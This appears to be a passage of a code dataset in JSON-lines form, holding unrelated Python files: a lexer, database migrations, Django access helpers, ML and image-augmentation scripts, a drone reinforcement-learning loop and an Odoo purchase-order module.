metafunc.fixturenames:\n backends = ['dummy']\n if not metafunc.config.option.dummy:\n backends.append('s3')\n metafunc.parametrize(\"transfer\", backends, indirect=True)\n if 'cache' in metafunc.fixturenames:\n backends = ['dummy']\n if not metafunc.config.option.dummy_cache:\n backends.append('redis')\n metafunc.parametrize(\"cache\", backends, indirect=True)\n","sub_path":"src/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":3315,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"565311176","text":"from . import token\n\n\nclass Lexer:\n def __init__(self, input):\n self.input = input\n self.position = 0\n self.read_position = 0\n self.ch = None\n self._read_char()\n\n def _read_char(self):\n if self.read_position >= len(self.input):\n self.ch = None\n else:\n self.ch = self.input[self.read_position]\n self.position = self.read_position\n self.read_position += 1\n\n def _read_identifier(self):\n position = self.position\n while is_letter(self.ch):\n self._read_char()\n return self.input[position:self.position]\n\n def _skip_white_space(self):\n while self.ch == \" \" or self.ch == \"\\t\" or self.ch == \"\\n\" or self.ch == \"\\r\":\n self._read_char()\n\n def _read_number(self):\n position = self.position\n while is_digit(self.ch):\n self._read_char()\n return self.input[position:self.position]\n\n def _peek_char(self):\n if self.read_position >= len(self.input):\n return None\n else:\n return self.input[self.read_position]\n\n def next_token(self):\n def _new_token(type):\n return token.Token(type, self.ch)\n\n self._skip_white_space()\n\n if self.ch == \"=\":\n if self._peek_char() == \"=\":\n ch = self.ch\n self._read_char()\n tok = token.Token(token.EQ, ch + self.ch)\n else:\n tok = _new_token(token.ASSIGN)\n elif self.ch == \";\":\n tok = _new_token(token.SEMICOLON)\n elif self.ch == \"(\":\n tok = _new_token(token.LPAREN)\n elif self.ch == \")\":\n tok = _new_token(token.RPAREN)\n elif self.ch == \",\":\n tok = _new_token(token.COMMA)\n elif self.ch == \"!\":\n if self._peek_char() == \"=\":\n ch = self.ch\n self._read_char()\n tok = token.Token(token.NOT_EQ, ch + self.ch)\n else:\n tok = _new_token(token.BANG)\n elif self.ch == \"+\":\n tok = _new_token(token.PLUS)\n elif self.ch == \"-\":\n tok = _new_token(token.MINUS)\n elif self.ch == \"*\":\n tok = _new_token(token.ASTERISK)\n elif self.ch == \"/\":\n tok = _new_token(token.SLASH)\n elif self.ch == \"<\":\n tok = _new_token(token.LT)\n elif self.ch == \">\":\n tok = _new_token(token.GT)\n elif self.ch == \"{\":\n tok = _new_token(token.LBRACE)\n elif self.ch == \"}\":\n tok = _new_token(token.RBRACE)\n elif self.ch is None:\n tok = token.Token(token.EOF, \"\")\n else:\n if is_letter(self.ch):\n literal = self._read_identifier()\n return token.Token(token.lookup_ident(literal), literal)\n elif is_digit(self.ch):\n return token.Token(token.INT, self._read_number())\n else:\n tok = _new_token(token.ILLEGAL)\n\n self._read_char()\n return tok\n\n\ndef is_letter(ch):\n if ch is None:\n return False\n return \"a\" <= ch and ch <= \"z\" or \"A\" <= ch and ch <= \"Z\" or ch == \"_\"\n\n\ndef is_digit(ch):\n if ch is None:\n return False\n return \"0\" <= ch and ch <= \"9\"\n","sub_path":"python/intp/lexer.py","file_name":"lexer.py","file_ext":"py","file_size_in_byte":3315,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"424218806","text":"\"\"\"create channels table\n\nRevision ID: 0be53c6bea83\nRevises: 82c39910d8dd\nCreate Date: 2021-07-18 05:24:14.633494\n\n\"\"\"\n# pylint: skip-file\nimport datetime\nfrom alembic import op\nfrom sqlalchemy import Column, Integer, String, DateTime\n\n\n# revision identifiers, used by Alembic.\nrevision = \"0be53c6bea83\"\ndown_revision = \"82c39910d8dd\"\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n op.create_table(\n \"channels\",\n Column(\"id\", Integer, primary_key=True),\n Column(\"channel_id\", String, nullable=False, unique=True),\n Column(\"region\", String(20), nullable=False),\n Column(\"created_at\", DateTime, default=datetime.datetime.utcnow),\n Column(\n \"updated_at\",\n DateTime,\n default=datetime.datetime.utcnow,\n onupdate=datetime.datetime.utcnow,\n ),\n )\n\n\ndef downgrade():\n op.drop_table(\"channels\")\n","sub_path":"alembic/versions/0be53c6bea83_create_channels_table.py","file_name":"0be53c6bea83_create_channels_table.py","file_ext":"py","file_size_in_byte":899,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"650187396","text":"# encoding: utf-8\nimport json\nimport requests as rq\n\nfrom DAL.RequestModel.dealrequest import DealRequest\nfrom DAL.ViewModel.branch import Branch\nfrom DAL.ViewModel.deal import Deal\n\napi_url = \"https://192.168.2.100/api/fvdeals\"\ndocker_api_url = \"https://172.17.50.129/api/fvdeals\"\napi_header = {\n \"Content-type\": \"application/json\",\n \"api-version\": \"0.0\",\n}\nclass DealClient:\n\n def __init__(self):\n self.url = api_url\n self.header = api_header\n\n self.path = \"/deals\"\n\n def get(self): # -> Deal[] or empty[]\n rp = rq.get(self.url + self.path, headers=self.header, verify=False)\n\n status = rp.status_code\n headerInfo = rp.headers\n jsonBody = json.loads(rp.text)\n deals = []\n for bodyItem in jsonBody:\n deal = Deal(**bodyItem)\n deals.append(deal)\n\n return deals\n\n def get_by_id(self, id): # -> Deal[]\n pass\n\n def post(self, dealRequest: DealRequest): # -> Deal or None\n try:\n # branchDumped = json.dumps(dealRequest.__dict__)\n branch_s = json.dumps(dealRequest.__dict__)\n rp = rq.post(self.url + self.path, headers=self.header, data=branch_s, verify=False)\n\n status = rp.status_code\n headerInfo = rp.headers\n if status != 200:\n return None\n jsonBody = json.loads(rp.text)\n return\n # return Deal(**jsonBody)\n except Exception as ex:\n print(f\"[DEAL-CLIENT-ERROR] {ex.args}\")","sub_path":"src/Frontend/python-client/Controller/dealclient.py","file_name":"dealclient.py","file_ext":"py","file_size_in_byte":1527,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"56126262","text":"with open (\"bill.txt\") as bill:\n b = bill.read()\ns = len(b)\nl = b.count(\"\\n\")\n\nimport re\nb = b.lower()\nword = re.findall('\\\\b[a-z]+\\\\b',b)\nwordh1 = re.findall('\\\\b[a-zA-Z]+-[a-zA-Z]+\\\\b',b)\nwordh2 = re.findall('[a-zA-Z]+-\\n+[a-z]+',b)\nwordh3 = re.findall('[a-zA-Z]+\\'[a-zA-Z]+',b)\nwordn = len(word)+len(wordh1)+len(wordh2)-len(wordh3)\n\nsw = word+wordh1+wordh2\nfrom collections import Counter\nfrequences = Counter(sw)\ntime = frequences.most_common(10)\ntimes = frequences.most_common(100)\n\nprint(\"该文件中包含%d个字符,%d行,和%d个单词。\" % (s, l, wordn))\nprint(\"其中各字母所出现的频率按字母表顺序分别是:\")\n\nalpht = list()\nalphabet = 'abcdefghijklmnopqrstuvwxyz'\nfor i in alphabet:\n alph = b.count(i)\n alpht.append(alph)\nsuma = sum(alpht)\nfor i in range(len(alpht)):\n per = alpht[i]/suma\n percent = \"%.2f%%\" % (per*100)\n print(alphabet[i],percent)\n \nprint(\"此外,其中出现频率最高的单词与其次数分别为:\")\nprint(time)\nprint(\"排除虚词后出现频率最高的单词与其次数分别为:\")\ntimes2=[]\nfor i in times:\n if i[0] not in ['do','the', 'and', 'i', 'to', 'of', 'a', 'you', 'my', 'that', 'in', 'is', 'd', 'not', 'for', 'with', 'me', 'it', 's', 'be', 'this', 'your', 'his', 'he', 'but', 'as', 'have', 'thou', 'so', 'him', 'will', 'what', 'by', 'thy', 'all', 'are', 'her','no', 'we', 'shall', 'if', 'on', 'or', 'thee','our', 'o', 'now','from', 'at', 'they', 'she', 'll','here', 'which', 'would', 'more', 'was', 'well', 'then', 'there', 'how', 'am', 'their', 'when','them','an', 'may', 'than', 'one', 'like', 'upon', 'say', 'us', 'make', 'did', 'such', 'were', 'should', 'yet', 'must', 'why', 'see', 'had', 'out', 'tis', 'give', 'where', 'some']:\n times2.append(i)\nprint(times2)\n","sub_path":"project_final/project/18300120174.py","file_name":"18300120174.py","file_ext":"py","file_size_in_byte":1776,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"642717821","text":"from django.contrib.auth.models import User\nfrom django.core.exceptions import PermissionDenied\nfrom django.db.models import Q\nfrom django.db.models.query import QuerySet\nfrom django.http.request import HttpRequest\nfrom django.shortcuts import get_object_or_404\n\nfrom . import models\n\n\ndef get_current_students(queryset: QuerySet[models.Student] = None):\n\tif queryset is None:\n\t\tqueryset = models.Student.objects.all()\n\treturn queryset.filter(semester__active=True)\n\n\ndef get_visible_from_queryset(user: User, queryset: QuerySet[models.Student]):\n\t\"\"\"From a queryset, filter out the students which the user can see.\"\"\"\n\tif user.is_superuser:\n\t\treturn queryset\n\telse:\n\t\treturn queryset.filter(\n\t\t\tQ(user=user) | Q(assistant__user=user) | Q(unlisted_assistants__user=user)\n\t\t)\n\n\ndef get_visible_students(user: User, current: bool = True):\n\tif current:\n\t\tqueryset = get_current_students()\n\telse:\n\t\tqueryset = models.Student.objects.all()\n\treturn get_visible_from_queryset(user, queryset)\n\n\ndef get_student_by_id(\n\trequest: HttpRequest,\n\tstudent_id: int,\n\trequires_edit: bool = False,\n\tpayment_exempt: bool = False,\n) -> models.Student:\n\t\"\"\"Returns an ordered pair containing a Student object and\n\ta boolean indicating whether editing is allowed (is instructor).\"\"\"\n\n\tstudent = get_object_or_404(models.Student, id=student_id)\n\n\tif not isinstance(request.user, User):\n\t\traise PermissionDenied(\"Authentication is needed, how did you even get here?\")\n\n\tif payment_exempt is False and student.is_delinquent and not request.user.is_staff:\n\t\traise PermissionDenied(\"Payment needs to be processed before this page can be used\")\n\n\tis_instructor = can_edit(request, student)\n\tif requires_edit is True and not is_instructor:\n\t\traise PermissionDenied(\"Staff member doesn't teach this student\")\n\n\tif not can_view(request, student):\n\t\traise PermissionDenied(\"This student is not viewable to the logged in user\")\n\n\treturn student\n\n\ndef can_view(request: HttpRequest, student: models.Student) -> bool:\n\treturn request.user == student.user or can_edit(request, student)\n\n\ndef can_edit(request: HttpRequest, student: models.Student) -> bool:\n\tif not request.user.is_authenticated:\n\t\traise PermissionDenied(\"Need login\")\n\tassert isinstance(request.user, User)\n\tif request.user.is_superuser:\n\t\treturn True\n\treturn request.user.is_staff and (\n\t\t(student.assistant is not None and student.assistant.user == request.user) or\n\t\t(student.unlisted_assistants.filter(user=request.user).exists())\n\t)\n\n\ndef infer_student(request: HttpRequest) -> models.Student:\n\treturn get_object_or_404(models.Student, semester__active=True, user=request.user)\n","sub_path":"roster/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2615,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"604260442","text":"from django.urls import path,include\r\nfrom l5_app import views\r\n\r\napp_name = 'l5_app'\r\n\r\n\r\nurlpatterns = [\r\n path('register/', views.register,name='register'),\r\n path('',views.index,name='index'),\r\n path('user_login/',views.user_login,name='user_login')\r\n\r\n]\r\n","sub_path":"l5/l5_app/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":269,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"252467510","text":"\nimport orange\nimport orngTree\nimport numpy\nfrom apgl.util.Parameter import Parameter\nfrom exp.sandbox.predictors.leafrank.AbstractOrangePredictor import AbstractOrangePredictor\n\nclass DecisionTree(AbstractOrangePredictor):\n def __init__(self):\n super(DecisionTree, self).__init__()\n self.maxDepth = 10\n self.minSplit = 30\n #Post-pruned using m-error estimate pruning method with parameter m \n self.m = 2 \n\n def setM(self, m):\n self.m = m\n\n def getM(self):\n return self.m \n\n def setMinSplit(self, minSplit):\n Parameter.checkInt(minSplit, 0, float('inf'))\n self.minSplit = minSplit\n\n def getMinSplit(self):\n return self.minSplit \n\n def setMaxDepth(self, maxDepth):\n Parameter.checkInt(maxDepth, 1, float('inf'))\n self.maxDepth = maxDepth\n\n def getMaxDepth(self):\n return self.maxDepth \n\n def learnModel(self, X, y):\n if numpy.unique(y).shape[0] != 2:\n raise ValueError(\"Can only operate on binary data\")\n\n classes = numpy.unique(y)\n self.worstResponse = classes[classes!=self.bestResponse][0]\n\n #We need to convert y into indices\n newY = self.labelsToInds(y)\n\n XY = numpy.c_[X, newY]\n attrList = []\n for i in range(X.shape[1]):\n attrList.append(orange.FloatVariable(\"X\" + str(i)))\n\n attrList.append(orange.EnumVariable(\"y\"))\n attrList[-1].addValue(str(self.bestResponse))\n attrList[-1].addValue(str(self.worstResponse))\n\n self.domain = orange.Domain(attrList)\n eTable = orange.ExampleTable(self.domain, XY)\n\n #Weight examples and equalise\n #Equalizing computes such weights that the weighted number of examples\n #in each class is equivalent.\n preprocessor = orange.Preprocessor_addClassWeight(equalize=1)\n preprocessor.classWeights = [1-self.weight, self.weight]\n eTable, weightID = preprocessor(eTable)\n eTable.domain.addmeta(weightID, orange.FloatVariable(\"w\"))\n\n self.learner = orngTree.TreeLearner(m_pruning=self.m, measure=\"gainRatio\")\n self.learner.max_depth = self.maxDepth\n self.learner.stop = orange.TreeStopCriteria_common()\n self.learner.stop.minExamples = self.minSplit\n self.classifier = self.learner(eTable, weightID)\n\n def getLearner(self):\n return self.learner\n\n def getClassifier(self):\n return self.classifier \n\n def predict(self, X):\n XY = numpy.c_[X, numpy.zeros(X.shape[0])]\n eTable = orange.ExampleTable(self.domain, XY)\n predY = numpy.zeros(X.shape[0])\n\n for i in range(len(eTable)):\n predY[i] = self.classifier(eTable[i])\n\n predY = self.indsToLabels(predY)\n return predY\n \n @staticmethod\n def generate(maxDepth=10, minSplit=30, m=2):\n def generatorFunc():\n decisionTree = DecisionTree()\n decisionTree.setMaxDepth(maxDepth)\n decisionTree.setMinSplit(minSplit)\n decisionTree.setM(m)\n return decisionTree\n return generatorFunc\n\n @staticmethod\n def depth(tree):\n \"\"\"\n Find the depth of a tree\n \"\"\"\n if tree == None:\n return 0\n if not tree.branches:\n return 1\n else:\n return max([DecisionTree.depth(branch) for branch in tree.branches]) + 1","sub_path":"exp/sandbox/predictors/leafrank/DecisionTree.py","file_name":"DecisionTree.py","file_ext":"py","file_size_in_byte":3405,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"463331960","text":"import numpy as np\nimport tensorflow as tf\n\nimport vgg_16.VGG16 as vgg\n\nfrom Define import *\n\ndef Global_Average_Pooling(x): \n pool_size = np.shape(x)[1:3][::-1]\n return tf.layers.average_pooling2d(inputs = x, pool_size = pool_size, strides = 1)\n\ndef fine_tuning(input_var, is_training):\n x = input_var - VGG_MEAN\n\n with tf.contrib.slim.arg_scope(vgg.vgg_arg_scope()):\n x = vgg.vgg_16(x, num_classes=1000, is_training=is_training, dropout_keep_prob=0.5)\n \n x = Global_Average_Pooling(x)\n x = tf.contrib.layers.flatten(x)\n\n logits = tf.layers.dense(x, CLASSES, use_bias = False, name = 'logits')\n predictions = tf.nn.softmax(logits)\n\n return logits, predictions\n","sub_path":"fine_tuning.py","file_name":"fine_tuning.py","file_ext":"py","file_size_in_byte":701,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"282952656","text":"import numpy as np\nimport argparse\nimport imutils\nimport cv2\nimport os\nfrom random import seed\nfrom random import random\nimport uuid\n\n\nINPUT_DIR = r\"H:\\MachineLearning\\OZ_nove datasety_leto2019\\_roztridene ruce\\_2_rozrezane_na_prave_a_leve_a_prevracene\\_NEART\\originaly_a_souradnice\"\n# OUTPUT_DIR = r\"C:\\Users\\Adam\\Desktop\\cil\"\n\noutput_dir_base = os.path.dirname(INPUT_DIR)\noutput_dir_name = \"FAKE-otocene\"\n\nOUTPUT_DIR = os.path.join(output_dir_base, output_dir_name)\nif not os.path.exists(OUTPUT_DIR):\n os.makedirs(OUTPUT_DIR)\n\nCOUNT_OF_COPIED_FILES = 0\n\n# zpracovani vsech souboru ve slozce ###################################################################################\nfor subdir, dirs, files in os.walk(INPUT_DIR):\n for filename in files:\n\n # if the file does not end in .jpg or .jpeg (case-insensitive) or other formats, continue with the next iteration of the for loop\n if not (filename.lower().endswith(\".jpg\") or\n filename.lower().endswith(\".jpeg\") or\n filename.lower().endswith(\".png\") or\n filename.lower().endswith(\".tif\") or\n filename.lower().endswith(\".tiff\")):\n continue\n # end if\n # show the file name on std out\n print(\"zpracovava se soubor \" + filename)\n\n # get the file name and full path of the current image file\n imageFileWithPath = os.path.join(subdir, filename)\n # attempt to open the image with OpenCV\n snimek_puvodni = cv2.imread(imageFileWithPath)\n\n uhel_A = round(5 + random() * 10)\n uhel_B = round(5 + random() * 15)\n\n if (uhel_A == uhel_B):\n if (uhel_B < 15):\n uhel_B += 3\n else:\n uhel_B -= 3\n\n uhel_C = 360 - uhel_A\n\n uhly = [uhel_A, uhel_B, uhel_C]\n\n # loop over the rotation angles\n # for angle in np.arange(0, 360, 15):\n for uhel_otoceni_vlevo in uhly:\n # otoceni snimku o zadany uhel\n snimek_otoceny = imutils.rotate(snimek_puvodni, uhel_otoceni_vlevo)\n\n # oriznuti okolni tkane a cernych okraju vzniklych otocenim\n cislo_pripocitane_k_velikosti_vyrezu = round(random() * 20)\n hranice_vyrezu_horni_a_leva = 35 + cislo_pripocitane_k_velikosti_vyrezu\n hranice_vyrezu_dolni_a_prava = 299 - 35 - cislo_pripocitane_k_velikosti_vyrezu\n snimek_otoceny_a_orezany = snimek_otoceny[hranice_vyrezu_horni_a_leva:hranice_vyrezu_dolni_a_prava,\n hranice_vyrezu_horni_a_leva:hranice_vyrezu_dolni_a_prava]\n print(hranice_vyrezu_dolni_a_prava)\n print(hranice_vyrezu_horni_a_leva)\n\n # velmi nepatrne doostreni noveho obrazku\n kernel = np.array([[-1, -1, -1], [-1, 9, -1], [-1, -1, -1]])\n snimek_otoceny_a_orezany_a_doostreny = cv2.filter2D(snimek_otoceny_a_orezany, -1, kernel)\n mira_pruhlednosti = 0.95\n obrazek_hotovy = cv2.addWeighted(snimek_otoceny_a_orezany_a_doostreny, 1 - mira_pruhlednosti,\n snimek_otoceny_a_orezany, mira_pruhlednosti, 0)\n\n # sestaveni noveho nazvu a ulozeni souboru\n cv2.imshow(\"Otoceny, oriznuty a doostreny snimek\", obrazek_hotovy)\n cv2.waitKey(0)\n\n new_name = \"OTOCENY_\" + str(uhel_otoceni_vlevo) + \"_STUPNU_\" + str(uuid.uuid1()) + \"_\" + filename\n # Save the file to the new path\n new_name = os.path.join(OUTPUT_DIR, new_name)\n print(new_name)\n\n cv2.imwrite(new_name, snimek_otoceny_a_orezany)\n\n\n\n\n\n# end for\n\n\n","sub_path":"otocit/rotate_simple_loop.py","file_name":"rotate_simple_loop.py","file_ext":"py","file_size_in_byte":3632,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"124656048","text":"def kaprekarNumbers(p, q):\n for i in range(p,q):\n k=i**2\n d=len(str(i))\n l=str(k)[:d]\n r=str(k)[d:]\n if r:\n r=int(r)\n else:\n \tr=0\n if l:\n \tl=int(l)\n else:\n \tl=0\n \n \n if int(l+r)==i:\n \tprint(l,r,i)\n \tprint(i)\nkaprekarNumbers(1, 100)","sub_path":"kaprekarNumbers.py","file_name":"kaprekarNumbers.py","file_ext":"py","file_size_in_byte":352,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"22038428","text":"## Use this loop as a testing ground, focus on plotting each episode\n## in this way we can see how the agent is doing each episode, instead\n## of at the end of all episodes, therefore can stop early if no \n## good behavior seems to be happening\n\nimport sys\nimport pandas as pd\nimport numpy as np\n\ndef runSimulation(init_pose, target_pose, simTime, num_episodes,\\\n task, my_agent, showPlotEachEpisode, file_output):\n\n import matplotlib.pyplot as plt\n import csv\n #%matplotlib inline\n labels = ['episode', 'time', 'reward', 'x', 'y', 'z', 'phi', 'theta', 'psi', \n 'x_velocity','y_velocity', 'z_velocity', \n 'phi_velocity', 'theta_velocity', 'psi_velocity', \n 'x_acceleration', 'y_acceleration', 'z_acceleration',\n 'phi_acceleration', 'theta_acceleration', 'psi_acceleration',\n 'rotor_speed1', 'rotor_speed2', 'rotor_speed3', 'rotor_speed4',\n 'rotor_noise1', 'rotor_noise2', 'rotor_noise3', 'rotor_noise4']\n \n best_score = -9999\n best_episode = 0 \n best_episode_count = 0\n \n with open(file_output, 'w') as csvfile:\n writer = csv.writer(csvfile)\n writer.writerow(labels)\n \n meanEpisodeRewards = []\n goalReachedEpisodeCount = 0\n \n for i_episode in range(1, num_episodes+1):\n state = my_agent.reset_episode() # start a new episode\n plotBestEpisode = False\n \n results = {x : [] for x in labels}\n \n while task.goalReachedCount <= 50: # due to action repeat, make this higher than 10*actionrepeat\n # run the 4 rotors at different RPMs\n action = my_agent.act(state) \n next_state, reward, done = task.step(action) \n my_agent.step(action, reward, next_state, done)\n state = next_state\n \n # append to results\n to_write = [i_episode] + [task.sim.time] + [reward] + list(task.sim.pose)\\\n + list(task.sim.v) + list(task.sim.angular_v)\\\n + list(task.sim.linear_accel) + list(task.sim.angular_accels)\\\n + list(action) + list(my_agent.noise.state)\n for ii in range(len(labels)):\n results[labels[ii]].append(to_write[ii])\n writer.writerow(to_write) \n \n if done: \n \n if my_agent.best_score > best_score: \n best_score = my_agent.best_score\n best_episode = i_episode\n best_episode_count += 1\n plotBestEpisode = True\n \n if goalReachedEpisodeCount < task.goalReachedCount:\n goalReachedEpisodeCount = task.goalReachedCount \n plotBestEpisode = True \n \n meanEpisodeRewards.append(np.mean(results['reward']))\n \n print(\"\\rEpi: {:4d}, score: {:7.5f} (best: {:7.5f}) in epi {}, BestEpiCnt: {}, goalCnt: {}\\n\".format(\n i_episode, np.mean(results['reward']), best_score, best_episode, best_episode_count, task.goalReachedCount), end=\"\") # [debug]\n \n if i_episode % 50 == 0 or showPlotEachEpisode or plotBestEpisode or i_episode > num_episodes - 3:\n # plot linear info\n plt.figure(i_episode)\n plt.plot(results['time'], results['x'], label='x')\n plt.plot(results['time'], results['y'], label='y')\n plt.plot(results['time'], results['z'], label='z')\n plt.plot(results['time'], results['x_velocity'], label='vx', linestyle='-.')\n plt.plot(results['time'], results['y_velocity'], label='vy', linestyle='-.')\n plt.plot(results['time'], results['z_velocity'], label='vz', linestyle='-.') \n# plt.plot(results['time'], results['x_acceleration'], label='ax', linestyle=':')\n# plt.plot(results['time'], results['y_acceleration'], label='ay', linestyle=':')\n# plt.plot(results['time'], results['z_acceleration'], label='az', linestyle=':') \n plt.legend()\n plt.show() \n \n # plot angluar info\n plt.figure(i_episode + 1 * num_episodes + 1)\n plt.plot(results['time'], results['phi'], label='phi', linestyle='-')\n plt.plot(results['time'], results['theta'], label='theta', linestyle='-')\n plt.plot(results['time'], results['psi'], label='psi', linestyle='-')\n plt.plot(results['time'], results['phi_velocity'], label='phi_v', linestyle='-.')\n plt.plot(results['time'], results['theta_velocity'], label='theta_v', linestyle='-.')\n plt.plot(results['time'], results['psi_velocity'], label='psi_v', linestyle='-.')\n# plt.plot(results['time'], results['phi_acceleration'], label='phi_', linestyle=':')\n# plt.plot(results['time'], results['theta_acceleration'], label='theta_a', linestyle=':')\n# plt.plot(results['time'], results['psi_acceleration'], label='psi_a', linestyle=':') \n plt.legend()\n plt.show() \n \n # plot actions and noise\n plt.figure(i_episode + 3 * num_episodes + 1)\n plt.plot(results['time'], results['rotor_speed1'], label='rotor1RPM', linestyle='-')\n plt.plot(results['time'], results['rotor_speed2'], label='rotor2RPM', linestyle='-')\n plt.plot(results['time'], results['rotor_speed3'], label='rotor3RPM', linestyle='-')\n plt.plot(results['time'], results['rotor_speed4'], label='rotor4RPM', linestyle='-')\n plt.plot(results['time'], results['rotor_noise1'], label='rotorNoise', linestyle='--')\n plt.plot(results['time'], results['rotor_noise2'], label='rotorNoise', linestyle='--')\n plt.plot(results['time'], results['rotor_noise3'], label='rotorNoise', linestyle='--')\n plt.plot(results['time'], results['rotor_noise4'], label='rotorNoise', linestyle='--')\n plt.legend()\n plt.show() \n \n # plot rewards\n plt.figure(i_episode + 4 * num_episodes + 1)\n plt.plot(results['time'], results['reward'], label='reward', linestyle='-')\n plt.legend()\n plt.show() \n \n # plot the mean rewards to monitor progress\n if i_episode % 100 == 0 or plotBestEpisode: \n # Total rewards for each episode\n smoothed_mean = pd.DataFrame(meanEpisodeRewards).rolling(100).mean() \n plt.figure(i_episode + 4 * num_episodes + 1)\n plt.plot(meanEpisodeRewards, label='mean rewards')\n plt.plot(smoothed_mean, label='running mean')\n plt.legend()\n# axes = plt.gca()\n# axes.set_ylim([-100,400])\n plt.show() \n\n break\n \n sys.stdout.flush()\n return print(\"completed simulation\\n\")","sub_path":"runSimulation.py","file_name":"runSimulation.py","file_ext":"py","file_size_in_byte":7883,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"67109495","text":"def make_car(manufacturer, model, **options):\n \"\"\"Build a dictionary that contains information about a car.\"\"\"\n car_dict = {'manufacturer': manufacturer.title(),\n 'model': model.title(),\n }\n for option, value in options.items():\n car_dict[option] = value\n return car_dict\n\nuser_car = make_car('Fiat', 'Palio', \n color = 'Dark green',\n portas = 2,\n motor = 1.0)\n \nprint(user_car)\n","sub_path":"Chap 8 Functions/8_14_Cars.py","file_name":"8_14_Cars.py","file_ext":"py","file_size_in_byte":504,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"233259064","text":"# -*- coding: utf-8 -*-\nfrom datetime import datetime\nimport pytz\nfrom itertools import groupby\n\nfrom odoo import fields, models, api\nfrom odoo.exceptions import UserError\nfrom odoo.tools import float_compare\n\nPAYMENT_TYPE = [('first_payment', '先款后货'), ('period_payment', '账期')]\n\n\nclass PurchaseOrder(models.Model):\n \"\"\"\n 不允许删除已关联的支付条款(payment_term_id)字段\n \"\"\"\n _inherit = 'purchase.order'\n _name = 'purchase.order'\n\n # payment_term_id = fields.Many2one('account.payment.term', '支付条款',\n # readonly=1,\n # ondelete='restrict',\n # required=1, states={'draft': [('readonly', False)]})\n\n invoice_split_ids = fields.One2many('account.invoice.split', 'purchase_order_id', '账单分期')\n invoice_split_count = fields.Integer(compute='_compute_invoice', string='账单分期数量', default=0, store=0)\n\n invoice_register_count = fields.Integer('登记的发票的张数', compute='_compute_invoice')\n\n apply_ids = fields.One2many('account.payment.apply', 'purchase_order_id', '付款申请', help='直接选择采购订单进行付款申请')\n apply_count = fields.Integer('付款申请单数量', compute='_compute_apply_count')\n apply_amount = fields.Float('已申请付款金额', compute='_compute_apply_amount')\n\n invoice_amount = fields.Float('开票金额', help='发票登记的金额')\n\n @api.model\n def _name_search(self, name='', args=None, operator='ilike', limit=100, name_get_uid=None):\n \"\"\" 付款申请选择采购订单,根据未申请金额过虑\"\"\"\n res = super(PurchaseOrder, self)._name_search(name=name, args=args, operator=operator, limit=limit, name_get_uid=name_get_uid)\n if 'payment_apply' in self._context:\n ids = [r[0] for r in res]\n result = []\n for order in self.browse(ids):\n if float_compare(order.amount_total, order.apply_amount, precision_rounding=0.001) == 1:\n result.append((order.id, order.name))\n\n return result\n\n return res\n\n @api.multi\n def _compute_apply_count(self):\n \"\"\"计算付款申请单数量\"\"\"\n for order in self:\n order.apply_count = len(order.apply_ids)\n\n @api.multi\n def _compute_apply_amount(self):\n \"\"\"计算已申请付款金额\"\"\"\n apply_obj = self.env['account.payment.apply']\n for order in self:\n apply_amount = sum(order.apply_ids.filtered(lambda x: x.state != 'oa_refuse' and x.id).mapped('amount'))\n for apply in apply_obj.search([('purchase_order_id', '=', False), ('invoice_register_id', '!=', False), ('state', '!=', 'oa_refuse'), ('id', '!=', False)]):\n apply_amount += sum(apply.invoice_register_id.line_ids.filtered(lambda x: x.purchase_order_id.id == order.id).mapped('invoice_amount'))\n\n order.apply_amount = apply_amount\n\n def _compute_invoice(self):\n for order in self:\n order.invoice_split_count = len(order.invoice_split_ids) # 账单分期数量\n order.invoice_register_count = len(order.invoice_split_ids.mapped('invoice_register_ids')) # 登记的发票的张数\n\n @api.multi\n def action_view_account_invoice_split(self):\n \"\"\"查看账单分期\"\"\"\n if len(self.invoice_split_ids) == 1:\n return {\n 'name': '账单分期',\n 'type': 'ir.actions.act_window',\n 'view_mode': 'form',\n 'view_type': 'form',\n 'res_model': 'account.invoice.split',\n 'res_id': self.invoice_split_ids.id,\n }\n\n return {\n 'name': '账单分期',\n 'type': 'ir.actions.act_window',\n 'view_mode': 'tree,form',\n 'view_type': 'form',\n 'res_model': 'account.invoice.split',\n 'domain': [('id', 'in', self.invoice_split_ids.ids)],\n }\n\n @api.multi\n def action_view_account_invoice_register(self):\n \"\"\"查看采购登记的发票\"\"\"\n # ids = self.env['account.invoice.register'].search([]).invoice_split_ids.filtered(\n # lambda x: x.purchase_order_id.id == self.id).invoice_register_ids.ids\n\n ids = self.env['account.invoice.register'].search([]).mapped('invoice_split_ids').filtered(lambda x: x.purchase_order_id.id == self.id).mapped('invoice_register_ids').ids\n\n return {\n 'name': '发票登记',\n 'type': 'ir.actions.act_window',\n 'view_mode': 'tree,form',\n 'view_type': 'form',\n 'res_model': 'account.invoice.register',\n 'domain': [('id', 'in', ids)],\n }\n\n # @api.multi\n # def button_approve(self, force=False):\n # \"\"\"采购订单经OA审批通过后,如果订单的支付条款是预付款(先款后货),则取支付条款规则第一条记录,来计算并创建供应商账单,并打开供应商账单,\n # \"\"\"\n # res = super(PurchaseOrder, self).button_approve(force=force)\n # self._generate_invoice_split() # 先款后货的生成账单分期\n # # self.filtered(lambda x: x.payment_term_id.type == 'first_payment')._generate_invoice_split() # 先款后货的生成账单分期 